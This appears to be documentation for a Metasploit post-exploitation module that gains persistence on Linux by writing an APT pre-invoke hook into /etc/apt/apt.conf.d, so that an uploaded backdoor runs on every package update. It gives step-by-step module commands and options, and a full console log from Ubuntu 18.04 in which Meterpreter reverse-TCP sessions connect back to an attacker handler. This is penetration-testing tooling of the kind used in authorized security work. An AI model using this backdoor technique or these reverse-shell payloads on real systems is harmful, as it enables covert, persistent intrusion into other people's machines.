## Description This module will run a payload when the package manager is used. No handler is ran automatically so you must configure an appropriate exploit/multi/handler to connect. This module creates a pre-invoke hook for APT in apt.conf.d. The hook name syntax is numeric followed by text. ## Verification Steps 1. Exploit a box that uses APT 2. `use linux/local/apt_package_manager_persistence` 3. `set SESSION ` 4. `set PAYLOAD cmd/unix/reverse_python` configure the payload as needed 5. `exploit` When the system runs apt-get update the payload will launch. You must set handler accordingly. ## Options **BACKDOOR_NAME** Name of backdoor executable **HOOKNAME** Name of pre-invoke hook to be installed in /etc/apt/apt.conf.d/. Pre-invoke hook name syntax is numeric followed by text. **WritableDir** Writable directory for backdoor default is (/usr/local/bin/) ## Scenarios ### Tested on Ubuntu 18.04.2 LTS ``` msf5 > use exploit/linux/local/apt_package_manager_persistence msf5 exploit(linux/local/apt_package_manager_persistence) > handler -p linux/x86/meterpreter/reverse_tcp -H 172.22.222.136 -P 4444 [*] Payload handler running as background job 0. msf5 exploit(linux/local/apt_package_manager_persistence) > [*] Started reverse TCP handler on 172.22.222.136:4444 [*] Sending stage (985320 bytes) to 172.22.222.130 [*] Meterpreter session 1 opened (172.22.222.136:4444 -> 172.22.222.130:60526) at 2019-04-26 13:04:33 -0500 msf5 exploit(linux/local/apt_package_manager_persistence) > set session 1 session => 1 msf5 exploit(linux/local/apt_package_manager_persistence) > set payload linux/x86/meterpreter/reverse_tcp payload => linux/x86/meterpreter/reverse_tcp msf5 exploit(linux/local/apt_package_manager_persistence) > set lhost 172.22.222.136 lhost => 172.22.222.136 msf5 exploit(linux/local/apt_package_manager_persistence) > set lport 4444 lport => 4444 msf5 exploit(linux/local/apt_package_manager_persistence) > exploit [*] Attempting to write hook: [*] Wrote /etc/apt/apt.conf.d/34bmUIzfd [*] Backdoor uploaded /usr/local/bin/dbmqKeh6U9 [*] Backdoor will run on next APT update msf5 exploit(linux/local/apt_package_manager_persistence) > [*] Sending stage (985320 bytes) to 172.22.222.130 [*] Meterpreter session 2 opened (172.22.222.136:4444 -> 172.22.222.130:60528) at 2019-04-26 13:05:17 -0500 msf5 exploit(linux/local/apt_package_manager_persistence) > ``` Note: Second session comes in after running `apt update` on the remote host
